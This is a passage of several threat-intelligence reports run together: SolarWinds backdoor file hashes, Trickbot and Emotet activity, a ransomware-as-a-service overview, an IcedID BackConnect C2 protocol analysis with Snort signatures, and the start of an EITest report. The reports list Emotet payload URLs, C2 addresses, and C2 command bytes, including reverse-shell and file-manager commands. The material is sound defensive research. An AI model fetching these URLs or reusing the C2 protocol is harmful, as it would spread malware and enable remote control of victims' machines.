achieve. Most cybersecurity frameworks such as NIST CSF document the need for continuous risk management and inspection of data and software. This, in turn, includes the need that all third-party and open-source software, whether built internally or externally, be continually inspected for tampering, malicious content, or any unwanted characteristics that clash with an organization’s acceptable policies. ReversingLabs is always thinking about the big challenges that lay ahead. We’d be happy to discuss our viewpoints and offer solutions towards reducing organizational software supply chain risks. Please get in touch so that we can solve these problems together. ## Referenced Files **File name:** SolarWinds.Orion.Core.BusinessLayer.dll **Version:** 2019.4.5200.8890 **TimeStamp:** Thu Oct 10 13:26:39 2019 **Hash:** 5e643654179e8b4cfe1d3c1906a90a4c8d611cea **Note:** File contains placeholder OrionImprovementBusinessLayer class. **File name:** SolarWinds.Orion.Core.BusinessLayer.dll **Version:** 2019.4.5200.9083 **TimeStamp:** Tue Mar 24 08:52:34 2020 **Hash:** 76640508b1e7759e548771a5359eaed353bf1eec **Note:** First known instance of the backdoored library. **File name:** SolarWinds.Orion.Core.BusinessLayer.dll **Version:** 2020.2.5200.12394 **TimeStamp:** Tue Apr 21 14:53:33 2020 **Hash:** 2f1a5a7411d015d01aaee4535835400191645023 **Note:** Contains malicious backdoor code. **File name:** SolarWinds.Orion.Core.BusinessLayer.dll **Version:** 2020.2.5300.12432 **TimeStamp:** Mon May 11 21:32:40 2020 **Hash:** d130bd75645c2433f88ac03e73395fba172ef676 **Note:** Contains malicious backdoor code. **File name:** SolarWinds-Core-v2019.4.5220-Hotfix5.msp **Version:** 2019.4.5220 **TimeStamp:** Tue March 24 10:57:09 2020 **Hash:** 1b476f58ca366b54f34d714ffce3fd73cc30db1a **Note:** HotFix patch containing the first known backdoor instance.
# When Old Friends Meet Again: Why Emotet Chose Trickbot for Rebirth **Research by:** Raman Ladutska, Aliaksandr Trafimchuk, David Driker, Yali Magiel **Date:** December 8, 2021 ## Overview Trickbot and Emotet are considered some of the largest botnets in history. They both share a similar story: they were taken down and made a comeback. Check Point Research (CPR) observed Trickbot’s activities after the takedown operation and recently noticed it started to spread Emotet samples – which was intriguing because Emotet was considered dead for the past 10 months. Trickbot was one of the most massive botnets in 2020, only outmatched by Emotet. In an effort to take down Trickbot, different vendors worked together to take down 94% of core servers crucial for Trickbot operations in October 2020. It has been 11 months since Trickbot was taken down, but this botnet has held 1st place in the list of the most prevalent malware families in May, June, and September 2021. Over the last 11 months, Check Point Research (CPR) has spotted over 140,000 Trickbot victims worldwide, involving more than 200 campaigns and thousands of IP addresses on compromised and dedicated machines. Trickbot is a botnet and banking Trojan written in C++ that can steal financial details, account credentials, and personally identifiable information. It can spread within a network and drop various payloads. Trickbot has utilized sophisticated coding technique evasions and due to its flexibility and modular structure, it’s an attractive collaboration option for other malware attacks. Trickbot has been involved in different ransomware campaigns such as infamous Ryuk and Conti attacks. Trickbot is constantly being updated with new capabilities, features, and distribution vectors, which enables it to be a flexible and customizable malware that can be distributed as part of multi-purpose campaigns. It is known since 2016 and is continuing to live and evolve 5 years later despite even the most serious attempts to disrupt the botnet, like the one in October 2020. Recently CPR noticed that Trickbot infected machines started to drop Emotet samples, for the first time since the takedown of Emotet in January 2021. This research will analyze the Trickbot malware, describe its activity after the takedown, and explain why Emotet chose Trickbot when it came to Emotet’s rebirth. We will also dive into the technical details of Emotet infection. ## Trickbot History Trickbot appeared in 2016 as a successor of Dyre malware, whose operators were arrested by the Russian authorities. There were a lot of code similarities between the two malware families. Since then, Trickbot has lived its own life. Instead of embedding all the functionality inside the malware, the authors decided to spread it throughout numerous modules which could be updated dynamically. This decision resulted in over 20 Trickbot modules, each of them responsible for a separate functionality: lateral movement, stealing of browsers’ credentials, installing proxy reverse module, and so on. Not all of the modules were written in C++, some of them were written with Delphi which may be a sign of an outsource development services used by Trickbot authors. The damage caused by Trickbot became a hot topic in the news. For example, in July 2019 a database was discovered with 250 million emails used by Trickbot operators in their campaigns. Trickbot actors adapted to global changes and used priority issues such as BLM and COVID-19 to trick users into opening emails with malicious attachments. At the peak of its activity during the COVID-19 pandemic, Trickbot achieved a milestone of 240 million spam messages per day. Another means of spreading was through links to malicious websites. In 2020, Trickbot (together with Emotet) was used to deliver Ryuk ransomware and caused massive damage. Universal Health Services reported that the company suffered $67 million losses because of the Ryuk attack. According to the researches, crypto wallets used for ransom in Ryuk attacks were topped for $150 million. There was evidence that Trickbot actors united their efforts with APTs. In December 2019, the infamous North Korean Lazarus group was spotted to use the attack framework called Anchor Project. Anchor Project is a backdoor module used by Trickbot which is deployed only to selected high-profile victims. Constant participation of Trickbot in high-profile attacks that caused great damage led to unprecedented effort from major security companies – ESET, Microsoft, Symantec – to attempt and takedown the Trickbot botnet, with the help of telecom providers. The time was right before the US presidential elections as the involved parties did not want to take risks and let millions of Trickbot-infected machines interfere with the election process. This effort should have put the end to the Trickbot threat, but alas it did not. Trickbot operators regrouped, found new ways to continue their operations and despite the losses in their ranks, did not give up their evil intentions. ## Connections to Other Malware in 2021 During its lifecycle, Trickbot has been continuously linked to different malware families as the means of spreading them. Ryuk ransomware or BazarBackdoor, for example – and that’s just some of the malware families delivered by Trickbot. The situation did not change after the botnet takedown in October 2020. Trickbot has been involved in one of the most serious ransomware attacks in 2021. On September 22, 2021, the FBI released an advisory that provided a detailed description about the group behind Conti ransomware. There are several mentions of Trickbot in this paper claiming it was one of the means of ransomware delivery to victims’ machines. Conti ransomware is a serious threat. As stated in the FBI report, there were around 400 organizations worldwide affected by Conti, 290 of which were located in the USA. FBI identified various attack vectors including high-profile ones: healthcare and first responder networks, law enforcement agencies, emergency medical services, 9-1-1 dispatch centers, and municipalities. ## Targets After botnet takedown, Trickbot’s activity rate was persistent. Check Point Research spotted over 140,000 victims affected by Trickbot globally since the botnet takedown, including organizations and individuals. To understand how big this number is, we can compare it with 400 organizations reportedly affected by Conti ransomware according to FBI. 140,000 victims are 350 times more than that sound attack of 400 organizations where Trickbot was involved for spreading the ransomware. Trickbot affected 149 countries in total which is more than 75% of all the countries in the world. Almost one third of all Trickbot targets were located in Portugal and the USA. The following graphs show the distribution of victims by industry. Victims from high profile industries constitute more than 50% of all the victims which speaks once again about the effectiveness of Trickbot. ## Campaigns Researchers spotted 223 different Trickbot campaigns in the last 6 months. However, 129 out of 223 campaigns stopped their activity in July. It may seem that Trickbot activity has dropped in scale, but combined with all the other facts we can conclude quite the opposite. The campaigns became more massive and widely targeted as the number of victims continues to grow despite the drop in the number of campaigns. There are two campaigns that stand out because of the number of IP addresses they use. Campaign with identifier “zev4” has been using 79 IP addresses during the time of its activity, whilst campaign “zem1” – just slightly less, 64 different IP addresses. This may be a sign of Trickbot continuing growth as these campaigns are fresh. “zev4” was first seen on July 26th and is still active today. “zem1” was a short term campaign that was seen for 3 days only from September 13th to September 15th. No other campaigns use more than 50 IP addresses. However, 37 of them (not counting the 2 campaigns above) use more than 40 different IP addresses. The breakdown of total number of campaigns that use the number of IP addresses by intervals is shown on the following diagram. This information may be interpreted the following way: although the Trickbot attacks a wide range of victims, it relies on a relatively small number of IP addresses. Some of them are time-tested and trustful. ## Network Infrastructure We tracked a total of 1061 unique non-encrypted IP addresses used in Trickbot campaigns, with 1115 unique combinations of ip:port. There are 8 addresses used in as many as 61 campaigns, all on 443 port: - 24.162.214.166 - USA - Charter Communications Inc - 45.36.99.184 - USA - Charter Communications Inc - 60.51.47.65 - Malaysia - – - 62.99.76.213 - Spain - Euskaltel S.A. - 82.159.149.52 - Spain - Vodafone ONO, S.A. - 97.83.40.67 - USA - Charter Communications Inc - 103.105.254.17 - Indonesia - PT Bintang Mataram Teknologi - 184.74.99.214 - USA - Charter Communications Inc All the IP addresses from the list have been used for at least 5 months to date. ## Emotet Rebirth The Emotet botnet, once an overbearing threat that held more than 1.5 million machines under its sway, was capable of infecting those machines with additional bankers, trojans, and ransomware. Its estimated damage was around 2 and a half billion dollars. Emotet is a long-term malware and operates with some breaks and pauses since 2014, it was very widely spread before takedown affecting more than 1.5 million machines all around the world. It was famous for spreading other malware families including Trickbot, Ryuk ransomware, and others. Emotet was taken down last January by a joint operation of various law enforcement agencies and judicial authorities worldwide. Hundreds of security researchers worldwide cheered for its takedown and the thought of an Emotet free world. However, on November 15th, merely 10 months after its takedown, Trickbot infected machines started to drop Emotet samples. The newly Emotet infected machines began spreading once again, by a strong malspam campaign promoting users to download password-protected zip files, which contained malicious documents that once run and macros are enabled infects the computer with Emotet, causing the infection cycle to repeat and enabling Emotet to rebuild its botnet network. Emotet could not choose a better platform than Trickbot as a delivery service when it came to Emotet’s rebirth question. Since we spotted the Emotet comeback in November, we observed a volume of its activity which is at least 50% of the level we saw in January 2021, before Emotet had been taken down. This upwards trend continues throughout December as well. With 10 months of downtime, Emotet has upgraded its operation and added some new tricks to its toolbox. Using Elliptic curve cryptography instead of RSA cryptography, improving its control flow flattening methods, adding to the initial infection by using malicious Windows app installer packages that imitate legitimate software and more. Besides using Trickbot for dropping its samples, Emotet also sticks to the probed scheme of being distributed via malicious documents. Below we take a look at the details of Emotet infection conducted with the help of malicious documents. ## Downloading the Emotet Payload via Malicious Documents We analyzed the malicious Excel document with the following hash: `800f6f0cbc307b6d39dd48563fb2a15a2119a76d97ec599f0995e3c4af0b2211`. This file is loaded from several sources, according to VirusTotal, the date it appeared on VirusTotal is 2021-11-16. The script inside the document uses PowerShell to download the payload. The script downloads Windows PE binaries to the “C:\ProgramData” folder from the following locations: - `https://visteme.mx/shop/wp-admin/PP/` - `https://newsmag.danielolayinkas.com/content/nVgyRFrTE68Yd9s6/` - `https://av-quiz.tk/wp-content/k6K/` - `https://ranvipclub.net/pvhko/a/` - `https://goodtech.cetxlabs.com/content/5MfZPgP06/` If the payload is downloaded successfully the binary is spawned and the script stops checking other URLs from the given list. One of the Emotet payloads downloaded this way has the following hash: `3f57051e3b62c87fb24df0fdc4b30ee91fd73d3cee3a6f7a962efceba2e99c7d`. Emotet is not a threat to be taken lightly, as seen in the past it can grow to monstrous scope. The return can also cause an increase in ransomware attacks as Emotet is known to drop various ransomware in the past. We will continue monitoring it, keeping our products on par with its newest infection methods. ## Conclusion Botnet takedown sounds strong as a term, but in reality taking down a botnet is easier than maintaining a botnet in deactivated state. Our data shows that Trickbot is very much alive since the takedown and is continuing to evolve. With Emotet back and using the Trickbot malware as a delivery service, the malware landscape is doing its best to be as threatening and effective as possible. We are constantly monitoring these and other threats and protect our customers. ## Check Point Protections Check Point Software provides Zero-Day Protection across Its Network, Cloud, Users, and Access Security Solutions. Check Point Harmony provides the best zero-day protection while reducing security overhead. ### Check Point Harmony Network Protections: - Trojan-Banker.Win32.TrickBot - Threat Emulation protections: - Banker.Win32.TrickBot.TC - Trickbot.TC - Botnet.Win32.Emotet.TC.* - Emotet.TC.* - TS_Worm.Win32.Emotet.TC.* - Trojan.Win32.Emotet.TC.* ## IOCs The lists below are not excessive by any means. ### Trickbot Hashes - `6454414d0149be112aad7fcdc0af1bc1296824f87db5e4b8d7202ea042537f21` - `3d5853ab9ec4e2b24bf328dc526e09975d1b266f1684bbbc8f8e3292a1c3f2d0` ### Emotet Hashes - `800f6f0cbc307b6d39dd48563fb2a15a2119a76d97ec599f0995e3c4af0b2211` - `3f57051e3b62c87fb24df0fdc4b30ee91fd73d3cee3a6f7a962efceba2e99c7d` ### Trickbot IP Addresses - `24.162.214.166` - `45.36.99.184` - `60.51.47.65` - `62.99.76.213` - `82.159.149.52` - `97.83.40.67` - `103.105.254.17` - `184.74.99.214` ### URLs with Emotet Payload - `http://ranvipclub.net/pvhko/a/` - `http://apps.identrust.com/roots/dstrootcax3.p7c` - `http://visteme.mx/shop/wp-admin/PP/` - `http://av-quiz.tk/wp-content/k6K/` - `http://ranvipclub.net/pvhko/a/` - `https://goodtech.cetxlabs.com/content/5MfZPgP06/` - `https://newsmag.danielolayinkas.com/content/nVgyRFrTE68Yd9s6/`
# Ransomware-as-a-Service: The Pandemic Within a Pandemic Ransomware is a massive problem. Technical novices, along with seasoned cybersecurity professionals, have witnessed over the past year a slew of ransomware events that have devastated enterprises around the world. Even those outside of cybersecurity are now familiar with the concept: criminals behind a keyboard have found a way into an organization’s system, prevented anyone from actually using it by locking it up, and won’t let anyone resume normal activity until the organization pays a hefty fee. As economies around the world teeter on the edge of disaster as a result of the COVID-19 pandemic, the onslaught of ransomware attacks in 2020 has compounded civil society’s ability to carry on business as usual. Corporations, governments, schools, and everything in between have constantly been in the crosshairs of underground criminal groups, often left with very little recourse if they find their systems have been locked. That lack of recourse doesn’t mean there’s an absence of effort to beat the bad guys. But even for seasoned professionals, it’s a challenge to measure and quantify just how bad ransomware has gotten. While incidents continue to come to light, there is a lot the cybersecurity industry doesn’t know: the volume of attacks, average cost of remediation, and organizations that choose to stay silent once an attack has occurred. What is known is that the criminal groups behind ransomware are flourishing, creating new variants and offering access on underground markets to anyone that has access to corporate networks and a desire to make a substantial amount of illicit money. Intel 471 has been tracking over 25 different ransomware-as-a-service crews over the past year, ranging from well-known groups that have become synonymous with ransomware to newly-formed variants that have risen from the failures of old, to completely new variants that may have the ability to unseat the current top-level cabals. The following is an examination of Ransomware-as-a-Service (RaaS) crews that have grown over the past year. This is not meant to be a definitive measure of the ransomware scene, as what could be considered “damaging” — payment amount, system downtime, communications with attackers — could vary by crew or incident. Additionally, there are known private gangs operating in tight, close-knit criminal circles using direct and private communication channels that we have little visibility into. ## TIER 3: Emerging RaaS Crews We can verify that the following variants have been created and are being sold on a RaaS model, but at the present time, there is limited to no information on successful attacks, volume of attacks, payments received, or cost of mitigation. | Name | Date Discovered | Incidents | Markets Sold | Blog | |-----------------|-----------------|-----------|---------------------------|------| | CVartek.u45 | March 2020 | None | Torum | No | | Exorcist | July 2020 | None | XSS | No | | Gothmog | July 2020 | None | Exploit | No | | Lolkek | July 2020 | None | XSS | No | | Muchlove | April 2020 | None | XSS | No | | Nemty | September 2020 | None | XSS | Yes | | Rush | July 2020 | None | XSS | No | | Wally | February 2020 | None | Nulled | No | | XINOF | July 2020 | None | Private Telegram channel | No | | Zeoticus 1.0 | Dec. 2019, 2.0 Sept 2020 | None | XSS/Private channels | No | ## TIER 2: Rising Powers The following variants have been tied to a number of confirmed attacks, the frequency of which have grown over 2020. A number of these variants have utilized blogs to “name and shame” victims who have refused to pay ransoms. | Name | Date Discovered | Attack claims | Markets Sold | Blog | |-------------------|-----------------|---------------|--------------|------| | Avaddon | March 2020 | Under 10 | Exploit | Yes | | Conti | August 2020 | 142 | Private | Yes | | Clop | March 2020 | Over 10 | N/A | Yes | | DarkSide | August 2020 | Under 5 | Exploit | Yes | | Pysa/Mespinoza | August 2020 | Over 40 | N/A | Yes | | Ragnar | December 2019 | Over 25 | Exploit | Yes | | Ranzy | October 2020 | 1 | Exploit & XSS| Yes | | SunCrypt | October 2019 | Over 20 | Mazafaka | Yes | | Thanos | August 2020 | Over 5 | Raid | No | ## TIER 1: Most Wanted These variants are among the most utilized, constantly showing up in enterprises that have been publicly linked to an attack. The variants are often iterations of past RaaS operations that were either shut down or broken up by law enforcement. All of these variants have utilized blogs to “name and shame” victims who have refused to pay ransoms. In all, these variants have pulled in hundreds of millions in ransoms — a figure that may be low due to the lack of reporting surrounding enterprises' payments to crews. ### DoppelPaymer DoppelPaymer, around since 2019, is associated with the BitPaymer aka FriedEx ransomware. CrowdStrike has highlighted some similarities between those variants, speculating that DoppelPaymer might be the work of the former BitPaymer group members. The ransomware itself is usually deployed manually after a network is compromised and sensitive data is exfiltrated. The DoppelPaymer team operates a Tor-based “Dopple leaks” blog, which is used to publish information about compromised companies and their stolen data. The crew is behind notable attacks such as those on Mexican energy giant Pemex and an IT contractor that works with the U.S. federal government. The most known and discussed victim of DoppelPaymer ransomware is Düsseldorf University Clinic in September 2020. The actors actually wanted to target the Düsseldorf University and addressed it in the ransom note but ended up hitting the hospital. When the perpetrators were made aware, they sent a digital key to get the hospital up and running again. DoppelPaymer has been used in over 125 ransomware incidents in 2020. ### Egregor/Maze As this report was being published, the crew behind the Maze ransomware service announced it was shutting down its operations. There has been speculation that this group’s affiliates will likely be funneled into the services behind Egregor ransomware. Egregor follows a familiar pattern in its operations: compromise corporate networks to steal sensitive data and deploy ransomware, communicate with victims and demand ransoms, then dump sensitive data on a blog when victim organizations refuse to pay the ransom. There is evidence that Egregor is also linked to Sekhmet ransomware. Intel 471 researchers found Egregor contained the same Base64 encoded data as Sekhmet where the last row contained additional parameters from a compromised system. Researchers also found that Egregor ransom notes were strikingly similar to ones used with Sekhmet. Egregor was found in incidents at Crytek, Ubisoft, and Barnes & Noble. Intel 471 found that Maze was used in over 250 ransomware incidents in 2020. Egregor was used in more than 200 incidents. ### Netwalker First detected in September 2019, NetWalker is one of the more prolific affiliate services Intel 471 has tracked. The actors behind it have spent 2020 using phishing emails that leverage the impact and fear of the COVID-19 pandemic to lure victims into loading their malware onto systems. In May, the operators launched a Tor-based blog to release sensitive data stolen from victim organizations that refused to pay the requested ransom. The actors used a fileless infection technique and allegedly could bypass the user account control component of Windows 7 and newer operating systems. NetWalker could be operated in two modes: in “network mode,” individual computers or the entire network could be held for ransom, and the victim could purchase a decryption tool with a master key or buy the necessary keys to decrypt certain computers. In “individual mode,” a ransom was demanded for a single computer at a time. The most high-profile target hit by Netwalker is Michigan State University, which refused to pay the ransom. Netwalker has been tied to 143 ransomware incidents in 2020. ### REvil One of the most ubiquitous ransomware variants on the market, deployments of REvil were first observed on April 17, 2019, where attackers leveraged a vulnerability in Oracle WebLogic servers tracked as CVE-2019-2725. Two months later, advertisements started popping up on the XSS forum. REvil has been one of the most active ransomware gangs in recent memory, claiming responsibility for such attacks as those on U.K.-based financial service provider Travelex, U.S.-based entertainment and media law firm Grubman Shire Meiselas & Sacks, and 23 local governments in Texas. One of the most common ways the group gains access to organizations is through remote desktop protocol (RDP) vulnerabilities, such as the BlueGate vulnerability, which allows remote code execution by an authorized user. The representative admittedly preferred to use information stealers to obtain remote access credentials, which are then used to secure an initial foothold in company networks. In the case of the Travelex and Grubman Shire Meiselas & Sacks attacks, the representative said networks were compromised by exploiting outdated Citrix and Pulse Secure remote access software, with the actors allegedly gaining access to an entire network in "about three minutes." While the group carries out attacks on its own, it has found the RaaS model brings back more money. Affiliates are responsible for gaining access to target networks, downloading valuable files, and deploying the actual ransomware, while the REvil gang handles victim negotiations and blackmailing, ransom collection, and distribution. This model has apparently led to skyrocketing profits: according to the REvil representative, one affiliate's earnings rose from about US$20,000 to US$30,000 per target, with another RaaS offering to about US$7 million to $8 million per target in only six months after joining forces with REvil. Intel 471 has linked REvil to 230 ransomware attacks in 2020. ### Ryuk The name “Ryuk” could arguably be categorized as synonymous with ransomware, as the variant is one of the most popular, with a strong affiliate program and a large list of victims. It is often delivered as the last action in the chain of infections brought on by the dueling use of the Trickbot botnet and Emotet malwares. Recently, we have also witnessed that Ryuk is delivered through the Bazar loader. Affiliates follow a model in their attacks: hiring actors to launch spam campaigns to deliver the actor's banking malware. Then, another set of actors conduct privilege escalation attacks within compromised corporate networks. Then, teams of as many as five deploy the ransomware and handle negotiations with victims. Ryuk has exploded over the past year, responsible for millions of ransomware incidents around the world. Some security researchers estimate that Ryuk has been found in as much as one-third of ransomware attacks launched this year. One of the biggest threats from Ryuk this year has been focused on the healthcare sector. The attack that drew the most headlines was the attack on Universal Health Services, one of the biggest hospital systems in the United States. While the cybersecurity community recognizes the threat all of these groups present, the criminals are only one part of the picture. In our next entry, Intel 471 will examine what a business goes through once it has to recover from a ransomware attack.
# IcedID BackConnect Protocol This is a follow-up to my Hunting for C2 Traffic video. But I didn't have time to record a short video this time, so I wrote a long blog post instead. **UPDATE 2022-11-02** Brad Duncan has released a new pcap file on malware-traffic-analysis.net, which contains an additional C2 command (0x12). Our analysis indicates that this command launches a file manager. This blog post has now been updated with details about this finding. **UPDATE 2022-11-09** Lenny Hansson has released IDS signatures that detect IcedID BackConnect traffic. More details further down in this blog post. **UPDATE 2022-12-05** Lenny has updated his IDS signatures to alert on IcedID C2 traffic from port 443 in addition to 8080. The signatures in this blog post have now been updated to Lenny's new rev:2 signatures. ## IcedID BackConnect C2 Packet Structure The IcedID BackConnect (BC) module uses a proprietary command-and-control (C2) protocol that is pretty straightforward. Both client (bot) and the C2 server typically send commands and responses as 13 byte packets using the following structure: - **Auth:** 4 bytes - **Command:** 1 byte - **Params:** 4 bytes - **ID:** 4 bytes ### Auth Field The "Auth" field is presumably used by the bot and C2 server to verify that the other party is communicating using the same protocol and version. As mentioned by Group-IB and xors, the Auth field is typically 0x974F014A (little endian), but we prefer to use the network byte order representation "4a 01 4f 97". In their IcedID blog post from 2020, Group-IB states that the auth field that has not changed since at least version 5 of the IcedID core is the constant 0x974F014A. Nevertheless, we recently noticed another IcedID Auth field being used in the wild. ### Commands The following list of IcedID BackConnect C2 commands has been compiled by combining those mentioned by Group-IB with our own analysis of the IcedID BackConnect protocol: - **0x00** = Bot queries for a task - **0x01** = Set sleep timer - **0x02** = Bot error - **0x03** = Reconnect - **0x04** = Start SOCKS - **0x05** = Start VNC We've also discovered these additional commands in IcedID BackConnect C2 traffic that uses the Auth value "1f 8b 08 08": - **0x11** = Start VNC - **0x12** = Start file manager - **0x13** = Start reverse shell Commands 0x04, 0x05, 0x11, 0x12, and 0x13 all cause the bot to connect back to the C2 server using a new BackConnect session, which will be used to wrap either SOCKS, VNC, file manager, or reverse shell traffic. ### Command 0x01: Set Sleep Timer The set sleep timer command is issued by the C2 server to instruct the bot to sleep for a certain amount of time before requesting a new task from the C2 server again. The sleep time is defined in the four bytes following directly after the 0x01 command. This value is a 32-bit little endian value indicating the number of seconds the bot should sleep, i.e. "3c 00 00 00" = 0x0000003c = 60 seconds. The most common sleep value seems to be 60 seconds, which is why you'll often see byte sequences like this in IcedID C2 sessions: ``` zz zz zz zz 01 3c 00 00 00 xx xx xx xx ``` The following Wireshark display filter will show IcedID C2 packets, where the bot is configured to sleep for 60 seconds before querying the C2 server for a new command: ``` tcp.len == 13 and tcp.payload[4:5] == 01:3c:00:00:00 ``` ### Command 0x04: Start SOCKS The SOCKS command (0x04) instructs the bot to start the SOCKS module. As an example, the following byte sequence was sent by the IcedID C2 server 91.238.50.80:8080 in Brad Duncan's 2022-06-28 TA578 IcedID pcap on malware-traffic-analysis.net (see frame #10231): ``` 4a 01 4f 97 04 09 00 00 00 8c a2 b1 09 ``` The first four bytes are the auth value, followed by the Start SOCKS command (04). After receiving this command, the bot established a new TCP connection back to the C2 server, where it echoed back the server's "Start SOCKS" command and then started acting like a SOCKS server. Except for initially echoing the IcedID Start SOCKS command, the SOCKS module actually seems to be compliant with RFC1928, which defines the SOCKS5 protocol. This means that the C2 server can supply an IP address and port number to the bot's SOCKS proxy in order to relay a connection to that host through the bot. After receiving a Start SOCKS command, an IcedID bot immediately establishes a new TCP connection to the specified IP and port, and relays the application layer data back to the C2 server through the SOCKS connection. In the 2022-06-28 TA578 IcedID pcap, the attacker used multiple SOCKS connections to scan the 10.6.21.0/24 network for services running on TCP ports 21, 80, 445, and 4899. That last port (TCP 4899) is typically used by Radmin VPN, which just so happens to be created by the outfit "Famatech" who also develop the "Advanced Port Scanner". The attacker also used the SOCKS module to make several HTTPS connections to servers like 18.204.62.252, 23.94.138.115, and 74.119.118.137. The attacker also proxied connections to 40.97.120.242 and 52.96.182.162 (outlook.live.com). ### JA3 Fingerprints from Proxied Traffic Since the SOCKS proxy doesn't touch the application layer data, we know that the client TLS handshake packets are coming from the C2 server rather than from the bot that's running the SOCKS proxy. This means that we can fingerprint the actual TLS client using JA3. As you can see in the CapLoader screenshot above, most proxied TLS sessions use the `cd08e31494f9531f560d64c695473da9` JA3 hash, but two of them use the rare JA3 hash `598872011444709307b861ae817a4b60`. That rare JA3 hash was used only when connecting to outlook.live.com. ### Command 0x05 or 0x11: VNC Brad Duncan's 2022-06-28 TA578 IcedID pcap also contains the "Start VNC" command 0x05. As can be seen in the CapLoader screenshot above, Start VNC commands were sent at 16:33:33 and 16:34:06 UTC. And just like the SOCKS command, this caused the bot to establish a new connection back to the C2 server, echo the "Start VNC" command, and then proceed with the VNC traffic. ### Command 0x13: Reverse Shell Brad posted a new capture file with network traffic from another IcedID infection last week (2022-10-04). He also noted that the traffic to 51.89.201.236:8080 was different from normal IcedID post-infection traffic. After looking at this C2 traffic, I discovered that it was in fact using the IcedID BackConnect protocol outlined in this blog post, but the Auth field "4a 01 4f 97" had been replaced with "1f 8b 08 08". That exact byte sequence is a common file header for gzip compressed files (RFC1952), where: - `1f 8b` = GZIP magic - `08` = DEFLATE compression - `08` = Original file name header present IcedID has previously been seen using fake gzip file headers in payloads, but this time even the C2 packets include the gzip header! The C2 traffic also contained the command 0x13, which I hadn't seen before. Just like the SOCKS and VNC commands, this one triggered the bot to establish a new connection back to the C2 server. But the bot sent a task query command (00) this time, instead of echoing the C2 server's command (0x13). The new TCP session then transitioned into what looks like a reverse shell session. ### Command 0x12: File Manager We discovered the file manager command after this blog post was published. This section has therefore been added after the original publication of this blog post. The following Wireshark display filter can be used to find file manager commands (0x12) in IcedID C2 traffic that uses the "1f 8b 08 08" auth value: ``` tcp.len == 13 and tcp.payload[0:5] == 1f:8b:08:08:12 ``` The screenshot above shows that the file manager command was issued three times in `2022-10-31-IcedID-with-DarkVNC-and-Cobalt-Strike-full-pcap-raw.pcap`. As you can see in the two screenshots above, each time a file manager command was issued in the C2 session (Wireshark screenshot), the bot established a new TCP connection back to the C2 server (CapLoader screenshot). The file manager sessions use a proprietary protocol to perform tasks such as listing disks, changing directory, and uploading files. We've identified the following file manager commands: - **DISK** = List drives - **CDDIR <path>** = Change directory - **PWD** = Show current directory - **DIR** = List current directory - **PUT <path>** = Upload file ## IDS Signatures Lenny Hansson has released IDS signatures that can detect IcedID BackConnect traffic. I'd like to highlight four of Lenny's signatures here. - Alert on "sleep 60 seconds" C2 command, regardless of Auth value: ``` alert tcp $EXTERNAL_NET [443,8080] -> $HOME_NET 1024: (msg:"NF - Malware IcedID BackConnect - Wait Command"; flow:established; flags:AP; dsize:13; content:"|01 3c 00 00 00|"; offset:4; depth:5; reference:url,networkforensic.dk; metadata:02112022; classtype:trojan-activity; sid:5006006; rev:3;) ``` - Alert on "start VNC" C2 command with "4a 01 4f 97" Auth: ``` alert tcp $EXTERNAL_NET [443,8080] -> $HOME_NET 1024: (msg:"NF - Malware IcedID BackConnect - Start VNC command"; flow:established; flags:AP; dsize:13; content:"|4a 01 4f 97 05|"; offset:0; depth:5; reference:url,networkforensic.dk; metadata:03112022; classtype:trojan-activity; sid:5006007; rev:2;) ``` - Alert on "start VNC" C2 command with "1f 8b 08 08" Auth: ``` alert tcp $EXTERNAL_NET [443,8080] -> $HOME_NET 1024: (msg:"NF - Malware IcedID BackConnect - Start VNC command - 11"; flow:established; flags:AP; dsize:13; content:"|1f 8b 08 08 11|"; offset:0; depth:5; reference:url,networkforensic.dk; metadata:03112022; classtype:trojan-activity; sid:5006011; rev:2;) ``` - Alert on "start file manager" C2 command with "1f 8b 08 08" Auth: ``` alert tcp $EXTERNAL_NET [443,8080] -> $HOME_NET 1024: (msg:"NF - Malware IcedID BackConnect - Start file manager command"; flow:established; flags:AP; dsize:13; content:"|1f 8b 08 08 12|"; offset:0; depth:5; reference:url,networkforensic.dk; metadata:03112022; classtype:trojan-activity; sid:5006008; rev:2;) ``` A zip file containing Lenny's Snort rules can be downloaded from networkforensic.dk. ## Questions and Answers **Q: Is IcedID's BackConnect VNC traffic the same thing as DarkVNC?** No, DarkVNC traffic doesn't use the IcedID BackConnect C2 Packet Structure described in this blog post. Also, one characteristic behavior of DarkVNC is that the first C2 packet contains a string that looks like one of these: - (COMPUTERNAME)_ADDITIONAL_ID-DARKVNC - BOT-COMPUTERNAME(USERNAME)_ID-REFnnn - USR-COMPUTERNAME(USERNAME)_ID-REFnnn Additionally, the first four bytes in the DarkVNC packets containing one of the strings above is a 32-bit little endian length field. For more details on DarkVNC, see the archived blog post "A short journey into DarkVNC attack chain" from REAQTA. **Q: Is IcedID's BackConnect VNC traffic the same thing as hVNC?** Almost. hVNC means "hidden VNC" and includes any type of malicious VNC server running on a victim's PC, including IcedID's VNC module as well as DarkVNC. **Q: How did you get Wireshark to decode the SOCKS traffic from IcedID BackConnect?** 1. Open the pcap file from 2022-06-28 TA578 IcedID 2. Apply display filter: tcp.port eq 8080 3. Right-click, Decode As, TCP port 8080 = SOCKS 4. Display filter: tcp.dstport eq 8080 and tcp.len eq 13 and tcp.payload[0:5] eq 4a:01:4f:97:04 5. Select all packets (Ctrl+A) 6. Edit, Ignore Packets (Ctrl+D) 7. Display filter: socks.dst **Q: Can CapLoader's Protocol Identification feature detect the IcedID BackConnect protocol?** The current version (1.9.4) doesn't have a protocol model for the BackConnect protocol, but the next CapLoader release will be able to identify this type of IcedID C2 traffic.
# EITest: HoeflerText Popups Targeting Google Chrome Users Now Push RAT Malware **By Brad Duncan** **September 1, 2017** **Category:** Malware, Unit 42 **Tags:** EITest, HoeflerText, RAT The attackers behind the EITest campaign have occasionally implemented a social engineering scheme using fake HoeflerText popups to distribute malware targeting users of Google's Chrome browser. In recent months, the malware used in the EITest campaign has been ransomware such as Spora and Mole. However, by late August 2017, this campaign began pushing a different type of malware. Recent samples are shown to infect Windows hosts with the NetSupport Manager remote access tool (RAT). This is significant, because it indicates a potential shift in the motives of this adversary. Today's blog reviews recent activity from these EITest HoeflerText popups on August 30, 2017 to discover more about this recent change. **History** As early as December 2016, the EITest campaign began using HoeflerText popups to distribute malware. Since late January 2017, we have only seen ransomware from these popups. The method has occasionally disappeared for weeks at a time. By July 2017, the HoeflerText popups delivered Mole ransomware under the file name Font_Chrome.exe. These popups stopped in late July. But by late August 2017, they reappeared, and we saw a different type of malware sent under the file name Font_Chrome.exe. Recent examples reviewed by Unit 42 are not ransomware; they are file downloaders. **Recent Activity** Network traffic follows two distinct paths. 